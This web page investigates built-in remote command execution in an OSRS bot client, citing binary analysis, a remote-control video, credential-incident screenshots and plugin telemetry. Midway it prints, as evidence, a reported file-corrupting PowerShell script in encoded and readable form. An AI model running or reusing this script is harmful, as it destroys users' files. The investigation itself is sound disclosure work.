Skip to investigation
BREAKING INVESTIGATION.508 native engine: native command-execution code identified
bot-client.netINDEPENDENT SECURITY INVESTIGATION
BUILT-IN COMMAND EXECUTION / .508

Built-in remote
command execution.

Detuks Staff have access to the remote controls. The native engine contains a dedicated command-execution subsystem.

In .508, the s channel handler calls the shell request decoder. The shell driver calls spawn_command, error_response and exit_response. A separate output pump calls output_response.

FINDINGS

Native shell code: confirmed by static analysis.
Operator access: Detuks Staff.

detuks_core / evidence map01
OBSERVED IN THE .508 BINARY
inputlogss ←
01 / CHANNEL HANDLERboxed task → poll
02 / REQUEST PATHdecode_request48-byte successful-result copy
03 / DRIVER CALL SITE spawn_command+ output, error & exit helpers
Channel registration, decoder calls and shell-driver calls identified in .508.
03Channel construction sites
input / logs / s
07Named protected functions
streaming::shell
.508Independently checked build
1.2.508-STABLE
BINARY ANALYSIS

Findings in .508

We checked the shell subsystem described in the original analysis against .508. The channel registrations and helper calls remain present; their addresses differ from the older sample.

01 / TRANSPORT

A channel named s

The streaming controller has three direct construction sites for input, logs and s. The s handler leads through a boxed task to the named request decoder.

CALL PATH IDENTIFIED
02 / EXECUTION PATH

Seven shell functions

Seven protected functions carry the detuks_core::streaming::shell namespace. The driver contains a call to spawn_command, alongside output, error and exit handling.

NAMES + CALL SITES FOUND
03 / STAFF ACCESS

Detuks Staff

The contributor confirms that Detuks Staff can access the remote controls. Staff access is a reported fact; the native implementation is supported by binary analysis.

ACCESS / CONTRIBUTOR CONFIRMATION
Inspect the .508 evidence record

Protected shell functions

build_commanddecode_requestencode_responseerror_responseexit_responseoutput_responsespawn_command

The function names and original-code call structure are corroborated. Their protected VM implementations have not been fully recovered.

Addresses and sample hash

Channel controller
0x1802D6950–0x1802DDA4C
Decoder stub
0x18262C550
Spawn call site
0x1802F29E7 → 0x18262DB80
Packed DLL SHA-256
0232e595dd10527e1f9719fbcacdee1e12edc37fa98dd7d69643ac07d02947d6

Command permissions

Commands execute with the client process’s permissions. The complete request format and command arguments have not been recovered. No authentication bypass is established by these findings.

VIDEO · OCTOBER 24, 2026

Bot Client
remote control

We connected our web dashboard to Bot Client on a Windows test machine. The video shows the live feed, mouse and keyboard control, and a remote command opening Notepad.

Bot Client remote control01:03 · 2534 × 1272

Our dashboard on the left. The Windows test machine on the right.

Live video

Watch the connected Bot Client from a browser.

Mouse and keyboard

Click and type in Bot Client through the video feed.

Remote commands

Send a command to the machine. Here, it opens Notepad.

CONNECTION ARCHITECTURE / WEBRTC & CONTROL

WebRTC and
remote-control channels

Detuks Staff have access to the remote controls, according to the contributor. The .508 native controller registers input, logs and s channels. The inspected backend encoder contains start, stop, SDP-answer and ICE-candidate messages.

CONNECTION SETUP / CONCEPTUAL MAPWEBRTC CONNECTION MODEL
Operator controlsDetuks Staff
APPLICATION SIGNALING

Session descriptions + connection candidates

Native clientThe engine’s streaming subsystem
PEER CONNECTION

Media and application data can travel over the negotiated connection. ICE selects a viable route; it may be direct or relayed.

Diagram: WebRTC connection model. Operator access is contributor-confirmed; .508 channel registration and backend signaling messages are supported by code inspection.
SIGNALING

Connection setup

WebRTC leaves application signaling to the app. An SDP offer/answer describes the session; ICE candidates describe possible network paths. A WebSocket can carry this setup information without carrying the eventual data-channel messages.

MEDIA & DATA

Media and data

WebRTC supports media tracks and separate application-data channels. The inspected start message specifies width, height and frame rate. The capture target—game window or desktop—has not been identified.

ACCESS CONTROL

Encryption and permissions

WebRTC data channels use encrypted transport. That protects data in transit; the application must still decide who may connect, which actions they may request and whether the local user must consent.

THE THREE OBSERVED CHANNEL LABELS

All three channel names and their construction sites were found in .508.

input

The input channel

The streaming controller constructs this channel. Its event format and keyboard/mouse handlers were not recovered in this analysis. The label alone does not establish system-wide input control.

CONSTRUCTION SITE CONFIRMED
logs

The logs channel

The streaming controller constructs this channel. The exact message schema and the information it carries have not been recovered.

CONSTRUCTION SITE CONFIRMED
s

Shell request decoder

The registered handler reaches the protected decode_request function in the streaming shell subsystem.

LABEL + STATIC DECODE PATH CONFIRMED
What the inspected signaling encoder supports
MESSAGEINSPECTED FIELDS / PURPOSE
Start streamSession identifier, width, height and frames per second.
Stop streamA request to stop streaming for a session.
SDP answerForward the receiving peer’s session description.
ICE candidateForward a candidate network path for the connection.

These are variants 1–4 inside the inspected DEV encoder’s field-9 envelope. The corresponding native message decoder has not been fully mapped.

FOLLOW A REQUEST / .508 STATIC EVIDENCE

Shell request flow

The flowchart shows registrations and call sites identified in .508. Dashed links mark parts of the control flow that have not been fully recovered.

detuks_core::streaming::shellSTATIC ANALYSIS
  1. 01
    CHANNEL REGISTRATION

    Streaming controller

    input · logs · s

    Three direct channel-construction sites found in .508.

  2. 02
    STATIC STRUCTURE

    The s channel handler

    handler spec → boxed task

    The handler specification references constructors that allocate a task object and return a future-like vtable.

  3. 03
    CALL CHAIN FOUND

    Poll & request decode

    poll → wrapper → decode_request

    The successful decode path copies 48 bytes. That size alone does not identify the request fields or their types.

  4. 04
    PARTIAL PATH

    Task dispatch

    wrapper → dispatcher

    The wrapper calls the dispatcher. Its complete route into the shell driver has not been reconstructed in this check.

INFERRED CONTINUATION

Full dispatch-to-driver control flow remains unverified.

05 / DRIVER CALL SITES

Shell driver

spawn_command

One direct spawn-helper call site was found. The number of process starts per request is not established by a call-site count.

ERROR PATHerror_response

Driver call site found.

OUTPUT PUMPoutput_response

Two helper call sites found in the pump; stdout/stderr identities not independently traced.

EXIT PATHexit_response

Driver call site found.

Response format and transport

encode_response exists as a named protected function. The response schema, same-channel replies and exact completion behavior were not established.

SOLID / STATIC STRUCTURE OR CALL SITE DASHED / INFERRED OR UNRESOLVED LINK

Detuks Staff have access to the controls. The contributor confirms staff access. The code analysis has not established the consent process, complete message formats or session-permission rules.

OSRS PACKETS / CLOUD STORAGE

Bot Client records
OSRS packets

Bot Client can save OSRS network traffic as .osrs_packets files and upload those recordings to Cloudflare R2. This records game-protocol data separately from screen video.

FILE FORMAT

Record game traffic

Packets carry messages between the OSRS client and game server. Saving them creates a record of protocol traffic, rather than just the pixels visible in the game window.

UPLOAD PATH

Upload recordings

Bot Client supports sending recording files to Cloudflare R2 object storage. A recording can leave the machine and remain stored remotely after the client closes.

STORED RECORDS

Inspect recorded traffic

Someone with access to a recording and a compatible decoder can inspect the messages it contains. Depending on the packets captured, that can reveal game actions and state updates.

01 / THE SECURITY IMPLICATIONS

What commands can do

Operating-system commands can access the programs, files and network resources available to the client process. The full set of commands accepted by .508 has not been recovered.

PROCESS PERMISSIONS

Commands run with the client’s permissions.
That includes access outside the game.

Actual access depends on the accepted command, process permissions and system controls.
01

Start other programs

Operating-system commands can launch programs and scripts with the client process’s permissions.

GENERAL COMMAND CAPABILITY
02

Access user files

File commands can read, modify or delete files the client process can access. Protected files still require the corresponding permissions.

GENERAL COMMAND CAPABILITY
03

Send network requests

Network commands can send requests and transfer accessible data, subject to firewall and endpoint controls.

GENERAL COMMAND CAPABILITY
EVIDENCE SOURCES

Staff access and
native code

The evidence has two sources: the contributor confirms Detuks Staff access; static analysis identifies the channel handler, request decoder and shell-driver calls in .508.

Return to the binary evidence
  1. 01
    Operator access

    Detuks Staff have access to the remote controls.

    REPORTED
  2. 02
    Signaling

    The inspected encoder has start, stop, SDP-answer and ICE-candidate messages.

    SOURCE ✓
  3. 03
    Channel & decode path

    The s handler reaches the named protected decoder through a task wrapper.

    STATIC ✓
  4. 04
    Command & response

    The driver calls spawn, error and exit helpers; the output pump calls the output helper.

    STATIC ✓

What static analysis establishes. The native engine contains shell functions and concrete calls into them. The complete request schema, command arguments and response transport have not been recovered. These findings do not establish unrestricted commands, privilege escalation or a consent bypass.

COMMON QUESTIONS
Is this proof of a remotely exploitable vulnerability?

The static evidence establishes built-in shell code: a channel handler reaches the decoder, and the driver calls spawning and response helpers. Detuks Staff access is confirmed by the contributor. These findings do not establish an authentication bypass.

What can operating-system commands do?

Operating-system commands can start programs, read or change accessible files, and make network requests. Their scope is limited by process permissions and system controls. The accepted command set in .508 has not been fully recovered.

Does the client have to be running as administrator?

No. A process can use the permissions of the account running it. Running the client as administrator gives it broader permissions. No privilege-escalation mechanism was established here.

Can anyone on the internet use the shell?

The contributor identifies Detuks Staff as having access. The findings do not establish access for unauthenticated internet users.

Does protection by Themida make the shell safe?

Code virtualization makes the implementation harder to inspect. It does not itself establish who is authorized to send requests, whether a user must consent, or which commands can execute. The protected function entry points were mapped; their full implementations have not been recovered.

Did the command-execution subsystem cause the reported account breaches?

No link has been established. The screenshots report credential incidents; they do not identify the native shell as the cause.

02 / REPORTED HISTORICAL EXECUTION

A file-corruption command
reported on .498

A contributor supplied a PowerShell command in encoded and readable forms and reports that it ran on .498. The two forms contain the same script. The supplied material does not include an execution log.

DESTRUCTIVE FILE OVERWRITEREPORTED BUILD / .498
THE TARGET IN THE SUPPLIED SCRIPTC:\Users\Admin\Desktop\botclient

Overwrite up to 1,024 bytes
at the start of each file.

The script recursively enumerates files, including hidden files. It filters out entries marked as reparse points, opens files for writing, and attempts to replace the first min(file length, 1,024) bytes with cryptographically generated random data.

A successful write replaces the whole contents of files no larger than 1,024 bytes. Larger files lose their first 1,024 bytes, which can corrupt headers and other data. Filenames remain unchanged. Permissions and file locks can prevent writes.

IN-PLACE CORRUPTIONRANDOM-BYTE OVERWRITESOURCE / CONTRIBUTOR REPORT
WHAT THE SCRIPT DOES

Write and error counts

The script suppresses progress output, flushes and closes files, and prints counts of completed writes and caught errors. These counts do not list the affected files.

WHAT IT DOES NOT SHOW

Sender and transport

The command text does not identify who sent it or how it reached the client. The encoded form launches powershell.exe -NoProfile -EncodedCommand.

VERSION SCOPE

The report concerns .498

The script overwrites file contents with random bytes. Its reported execution concerns .498; the native-code findings elsewhere on this page concern .508.

Encoded PowerShell command
USER-SUPPLIED EVIDENCE · DISPLAY ONLY · DO NOT EXECUTE
powershell.exe -NoProfile -EncodedCommand JAByAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABEAGUAcwBrAHQAbwBwAFwAYgBvAHQAYwBsAGkAZQBuAHQAJwA7ACAAJABnAD0AWwBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFIAYQBuAGQAbwBtAE4AdQBtAGIAZQByAEcAZQBuAGUAcgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlACgAKQA7ACAAJABiAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAMQAwADIANAA7ACAAJABvAGsAPQAwADsAIAAkAHMAawBpAHAAPQAwADsAIAAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAgAHQAcgB5ACAAewAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAcgAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBpAGwAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAtAG4AbwB0ACAAKAAkAF8ALgBBAHQAdAByAGkAYgB1AHQAZQBzACAALQBiAGEAbgBkACAAWwBJAE8ALgBGAGkAbABlAEEAdAB0AHIAaQBiAHUAdABlAHMAXQA6ADoAUgBlAHAAYQByAHMAZQBQAG8AaQBuAHQAKQB9ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAkAHMAPQAkAG4AdQBsAGwAOwAgAHQAcgB5ACAAewAgACQAcwA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBPAHAAZQBuACgAJABfAC4ARgB1AGwAbABOAGEAbQBlACwAWwBJAE8ALgBGAGkAbABlAE0AbwBkAGUAXQA6ADoATwBwAGUAbgAsAFsASQBPAC4ARgBpAGwAZQBBAGMAYwBlAHMAcwBdADoAOgBXAHIAaQB0AGUALABbAEkATwAuAEYAaQBsAGUAUwBoAGEAcgBlAF0AOgA6AFIAZQBhAGQAVwByAGkAdABlACkAOwAgACQAbgA9AFsAaQBuAHQAXQBbAE0AYQB0AGgAXQA6ADoATQBpAG4AKAAxADAAMgA0ACwAJABzAC4ATABlAG4AZwB0AGgAKQA7ACAAJABnAC4ARwBlAHQAQgB5AHQAZQBzACgAJABiACkAOwAgACQAcwAuAFcAcgBpAHQAZQAoACQAYgAsADAALAAkAG4AKQA7ACAAJABzAC4ARgBsAHUAcwBoACgAKQA7ACAAJABvAGsAKwArACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAHMAawBpAHAAKwArACAAfQAgAGYAaQBuAGEAbABsAHkAIAB7ACAAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAcwApACAAewAgACQAcwAuAEQAaQBzAHAAbwBzAGUAKAApACAAfQAgAH0AIAB9ACAAfQAgAGYAaQBuAGEAbABsAHkAIAB7ACAAJABnAC4ARABpAHMAcABvAHMAZQAoACkAIAB9ADsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACgAJwBPAHYAZQByAHcAcgBpAHQAdABlAG4AOgAgACcAKwAkAG8AawArACcAOwAgAHMAawBpAHAAcABlAGQAIABvAHIAIABwAGEAcgB0AGkAYQBsAGwAeQAgAHcAcgBpAHQAdABlAG4AOgAgACcAKwAkAHMAawBpAHAAKQA=
Readable script
FORMATTED FOR READING · EXPLANATORY COMMENTS OMITTED · DO NOT EXECUTE
$r='C:\Users\Admin\Desktop\botclient'; $g=[Security.Cryptography.RandomNumberGenerator]::Create(); $b=New-Object byte[] 1024; $ok=0; $skip=0; $ProgressPreference='SilentlyContinue'; try {
  Get-ChildItem -LiteralPath $r -Recurse -File -Force -ErrorAction SilentlyContinue |
  Where-Object {-not ($_.Attributes -band [IO.FileAttributes]::ReparsePoint)} |
  ForEach-Object {
    $s=$null;
    try {
      $s=[IO.File]::Open($_.FullName,[IO.FileMode]::Open,[IO.FileAccess]::Write,[IO.FileShare]::ReadWrite);
      $n=[int][Math]::Min(1024,$s.Length);
      $g.GetBytes($b);
      $s.Write($b,0,$n);
      $s.Flush(); $ok++
    } catch { $skip++ } finally { if ($null -ne $s) { $s.Dispose() } }
  }
} finally { $g.Dispose() };
Write-Output ('Overwritten: '+$ok+'; skipped or partially written: '+$skip)

Source: contributor submission, 24 October 2026. Decoding the Base64 as UTF-16LE produces the readable script shown here, allowing for whitespace and omitted explanatory comments. Neither form was executed during this analysis. No execution log, packet capture or affected-file comparison accompanied the submission.

THE WIDER INVESTIGATION

Account incidents
and plugin analysis

The sections below contain community statements and earlier plugin analysis. No link has been established between the native shell and the reported account incidents.

BINARY ANALYSIS ATTRIBUTED REPORT OPEN QUESTION
03 / CREDENTIAL INCIDENT RECORDS

Reported credential
incidents

The earlier investigation collected community screenshots about account hijacks and cloud credentials in September 2026. The statements are presented with attribution; the cause of the incidents is not established by these records.

REPORTED SCOPE~30 users

Cloud account table, according to Detuks.

OPERATOR’S ATTRIBUTIONHosting access

A claim in the Discord record; not independently audited here.

RELATION TO THE SHELLUnestablished

No demonstrated causal link to the .508 findings.

SOURCE RECORD / 01

A suspicious-login report

A community screenshot shows a Jagex warning about a login from the United Kingdom. It records a reported incident, not its technical cause.

SOURCE RECORD / 02

Detuks acknowledges an incident

The supplied Discord record describes a serious issue involving cloud account credentials and attributes access to a hosting provider.

SOURCE RECORD / 03

The scope claimed by the operator

Detuks describes a table containing cloud accounts for roughly 30 users and says audit records point to hosting-provider access. That attribution has not been independently audited here.

SOURCE RECORD / 04

A separate statement about local storage

Detuks says account credentials are stored locally. Local-client credentials and website-entered cloud credentials may be different stores; these statements alone do not establish a contradiction.

THE ADMISSIONS / SOURCE RECORDS

Statements about
account misuse

Statements attributed to Detuks, Aeglen and a Bot Client team member discuss prior handling of user accounts. The original images remain available to inspect at full size.

SOURCE RECORD / 05

Detuks on Allure’s conduct

The Discord screenshot contains Detuks’s statement that Allure “went a bit too far.” Read the original exchange for its context.

SOURCE RECORD / 06

A team member describes retaliation

The supplied exchange discusses logging user details and characterizes Allure’s behavior as retaliation. It does not establish the implementation of the native shell.

SOURCE RECORD / 07

Aeglen addresses his users

Aeglen says a scripter on the platform previously interfered with accounts of users who tried to use scripts without authorization.

SOURCE RECORD / 08

The partnership discussion

The screenshot discusses overlooking mishandling of account details during platform negotiations. These are attributed statements, not independent incident forensics.

PLATFORM & DEVELOPER CONNECTIONS

Developer accounts
and roles

Earlier reporting linked Storm’s former owner Burak with Roman / Romandinho10. The preserved profiles and announcements document displayed accounts and roles; identity and code-lineage claims need corroborating evidence.

PLATFORM OPERATOR

Detuks

The operator identified in Bot Client’s public community records and the credential-incident statements reproduced here.

PLUGIN PUBLISHER

Roman / G Plugins

The displayed developer identity associated with the G Plugins announcements. A shared catalog or rapid release is an investigative lead, not proof of authorship.

DISTINCT IDENTITIES

Allure & Burak

These are separate people in the earlier reporting. References to Allure’s conduct should not be silently transferred to another developer.

SOURCE RECORD / 09

The Romandinho10 profile

An account-profile screenshot preserved by the earlier investigation. The screenshot alone does not prove the person behind the account.

SOURCE RECORD / 10

Roman’s developer role

A Discord profile records Roman / G Plugins and a Premium Developers role. It documents the displayed identity and role.

SOURCE RECORD / 11

The published plugin list

The announcement lists G Miner, G Thiever, G Trekking, G Cooker, G Agility, G Scurrius and G ToA. Release timing alone does not establish source-code reuse.

04 / PLUGIN REVERSE ENGINEERING

Plugin telemetry

The earlier plugin analysis describes telemetry, machine identifiers and alert uploads. These findings concern specific analyzed JARs, separate from the native .508 shell path.

SESSION REPORTING

Five-minute heartbeat

The analyzed Wildy Slayer build contains a scheduled api/session/check heartbeat. The earlier analysis describes a five-minute interval with session, HWID and state data.

IDENTITY LINKAGE

Linked account identifiers

The account-builder payload associates a character and Discord identity with a machine fingerprint, runtime and progress. Reporting identifying data differs from capturing a password.

ALERT DELIVERY

Screenshot and file uploads

A shared Discord alert sender exposes screenshot and file-upload overloads. Available methods do not prove arbitrary files were actually collected or sent.

DECODED / ACCOUNT BUILDER

Account-builder
request fields

The reconstructed character report includes client_run_id, character_name, discord_id, fingerprint, plugin version, total level, runtime and a runEvidence activity record.

The reported destinations are api.allureplugins.com/api/account-builder/character and /api/account-builder/ban-report. A different hostname alone does not establish who controls it or whether its use is authorized.

No password or Jagex session token was identified in this payload.

That finding applies to the inspected payload. It does not certify every plugin or every version.

ANALYSIS ARTIFACT / 21 · CLICK TO INSPECT
DECODED / DISCORD ALERT SENDER

Discord alert
sender

The earlier analysis of com/detuks/e/b/S identifies a shared asynchronous alert sender, text and image methods, and an overload accepting a file path. Lifecycle and restriction reporting are identified in account-builder call sites.

The sender accepts text, images and file paths. The method signatures alone do not identify the files supplied by each caller.

API telemetry and Discord alerts are different paths.

The identified discord_id field belongs to the character API payload; it should not be assumed to appear in Discord alerts.

ANALYSIS ARTIFACT / 22 · CLICK TO INSPECT
Additional technical context & limits

Package namespace

Classes under com/detuks/ document a package namespace. That alone does not establish that Detuks personally authored an Allure-branded plugin.

Local log directory

The earlier analysis identifies local JSONL logging under .storm2/debug. The string suggests lineage worth investigating; it does not establish that two complete codebases are identical.

Payload encryption

The account-builder analysis describes RSA key wrapping and an AES-GCM body. Encrypting a payload protects transport content from some observers; it does not establish whether collecting it is appropriate.

Additional fields and files

A plugin-supplied map or file-upload method can accept additional data. That possibility alone does not establish that credentials or arbitrary files were supplied to it.

THE REST OF THE RECORD

Additional community
screenshots

The remaining screenshots include storage allegations, reactions to migration and performance reports. They remain source material rather than verified technical measurements.

Browse 9 additional source records
SOURCE RECORD / 12

Community theories

Discussion of possible explanations for the credential incident. These are community hypotheses.

SOURCE RECORD / 13

The community response

An exchange containing criticism and statements defending the operator.

SOURCE RECORD / 14

A plaintext-storage allegation

A member alleges that logins were stored in plaintext. A screenshot of that claim does not verify the database design.

SOURCE RECORD / 15

Another operator’s warning

An account-security warning from a rival client operator, preserved with its context.

SOURCE RECORD / 16

Questions about Allure

Community members discuss prior conduct and ask about account safety.

SOURCE RECORD / 17

Reported memory overhead

Members discuss memory use. This is not a controlled performance benchmark.

SOURCE RECORD / 18

Discussion of virtualization

A community explanation for overhead. The causal performance claim has not been measured here.

SOURCE RECORD / 19

Migration concerns

Members discuss moving platforms and mention OpenOSRS in logs.

SOURCE RECORD / 20

Further migration discussion

Additional reactions preserved from the earlier investigation.

NEW COMMUNITY MATERIAL

Additional screenshots
and video

These materials were supplied for this update. They are preserved as source records and are not presented as independently verified findings.

SUPPLIED SOURCE / 01

Community evidence screenshot

A post distinguishes browser remote control from remote shell access and argues that server-triggered code execution is the serious issue.

SUPPLIED SOURCE / 02

Community evidence screenshot

Aeglen says the alleged motivation is to steal users, while another member calls possible account and PC access a major privacy breach.

SUPPLIED SOURCE / 03

Community evidence screenshot

A Discord exchange discusses legal action, costs and the difficulty of pursuing an IP case against a large company.

SUPPLIED SOURCE / 04

Community evidence screenshot

A screenshot argues that a remote shell is not needed for remote control and says there is no opt-out for the shell or code execution.

SUPPLIED SOURCE / 05

Community evidence screenshot

Aeglen says a feature may potentially be used this way, then says critics portray every competing client as untrustworthy; he also mentions banning critics.

SUPPLIED SOURCE / 06

Community evidence screenshot

The code diagram labels request decoding, command spawning, stdout, stderr and exit-code responses, followed by a cmd.exe invocation.

SUPPLIED SOURCE / 07

Community evidence screenshot

Members ask about claims that Bot Client contains a RAT; replies say the discussion concerns Bot Client and other clients.

SUPPLIED SOURCE / 08

Community evidence screenshot

Community members debate whether to jump to conclusions, while users report script-hour and webhook issues.

SUPPLIED SOURCE / 09

Community evidence screenshot

A Discord message asks whether a Jagex account uses the selected proxy and shows a code image associated with the shell discussion.

SUPPLIED SOURCE / 10

Community evidence screenshot

Aeglen says the controversy is being driven by Recoderz drama and describes the allegation as misinformation.

SUPPLIED SOURCE / 11

Community evidence screenshot

A plain-English table lists claimed capabilities including command execution, screen capture, input control, server authorization and credential access.

SUPPLIED SOURCE / 12

Community evidence screenshot

A chat says there has been no material change in user numbers despite the surrounding controversy.

SUPPLIED SOURCE / 13

Community evidence screenshot

An announcement warns that staff and developers will not initiate direct messages and explains the remote-control feature and automatic updates.

SUPPLIED SOURCE / 14

Community evidence screenshot

A question asks whether the shell only uploads console output or can receive commands that execute on the user’s machine; the answer favors command execution.

SUPPLIED SOURCE / 15

Community evidence screenshot

Code references identify the shell module, command-spawning function and streamed stdout, stderr and exit-code responses.

SUPPLIED SOURCE / 16

Community evidence screenshot

A September message reports repeated PowerShell launches, file overwrites and random-file writes, then describes a WebRTC remote-shell path.

SUPPLIED SOURCE / 17

Community evidence screenshot

A PSA claims the client can execute code, access files and control input, while also summarizing prior account and hosting allegations.

SUPPLIED SOURCE / 18

Community evidence screenshot

A user asks the operator to answer questions about command execution, patch plans, a hosting breach and earlier hacking claims.

SUPPLIED SOURCE / 19

Community evidence screenshot

The screenshot says the streaming shell receives a server request, spawns cmd.exe and sends command results back, with a signing-key check.

SUPPLIED SOURCE / 20

Community evidence screenshot

A community post says the client has a remote shell and asks why it exists, whether it will be removed, and how a reported database breach was handled.

SUPPLIED SOURCE / 21

Community evidence screenshot

A message summarizes that spawn_command launches processes, exit_response returns a code, and the server can route traffic through the machine.

SUPPLIED SOURCE / 22

Community evidence screenshot

A Reddit comment alleges a long-running secret involving crypto and OSRS account compromises and calls for scrutiny of the client.

SUPPLIED SOURCE / 23

Community evidence screenshot

Aeglen says a group of would-be crackers claims every other OSRS client is a RAT and tells readers to use the information as they choose.

SUPPLIED SOURCE / 24

Community evidence screenshot

Aeglen says a potentially relevant feature may exist, while arguing that critics broadly paint competing clients as untrustworthy.

SUPPLIED SOURCE / 25

Community evidence screenshot

A community member says Detuks feels safe to run after DreamBot’s closure, while discussing a separate legal-cost exchange.

SUPPLIED SOURCE / 26

Community evidence screenshot

Aeglen says he trusts Detuks by transitivity, and another user says critics are trying to crack the client but cannot fully do so.

SUPPLIED SOURCE / 27

Community evidence screenshot

A Discord preview links bot-client.net and describes the site as an investigation into built-in remote command execution.

SUPPLIED SOURCE / 28

Community evidence screenshot

A report card labels Detuks as a user allegedly associated with putting a RAT in his client and lists mutual servers and reporting details.

SUPPLIED SOURCE / 29

Community evidence screenshot

A direct-message thread shows a user asking Detuks for written answers about remote shell access and allegations of hacking users.

SUPPLIED SOURCE / 30

Community evidence screenshot

A short exchange challenges a user to address the allegations and dismisses the response as evasive.

05 / FOR READERS

Access controls
and precautions

Detuks Staff have access to the controls, as confirmed by the contributor. The remaining questions concern user consent, session permissions and the accepted command set.

  1. 01

    Check the source of each claim.

    Binary presence, a report of execution and proof of unauthorized access answer different questions.

  2. 02

    Check how access is restricted.

    Look for documented authorization, explicit consent, visible session indicators and a way to revoke access.

  3. 03

    Preserve records if something happened.

    Keep original command messages, timestamps, session logs and affected-file copies. Do not run the supplied destructive command to test it.

  4. 04

    Limit the client’s permissions.

    Use software only at the permissions it requires, keep separate backups and review which files and accounts are accessible to the user running it.

RESEARCH STANDARD

Sources and scope

The native .508 findings were checked on 23 October 2026. The .498 command report was supplied on 24 October. Historical screenshots and plugin analysis artifacts come from the earlier investigation. Static analysis establishes the .508 code structures and call sites shown here. Detuks Staff access is confirmed by the contributor. The .498 execution history and community screenshots are attributed reports. The complete command schema and user-consent mechanism have not been recovered.

Inspect the native evidence record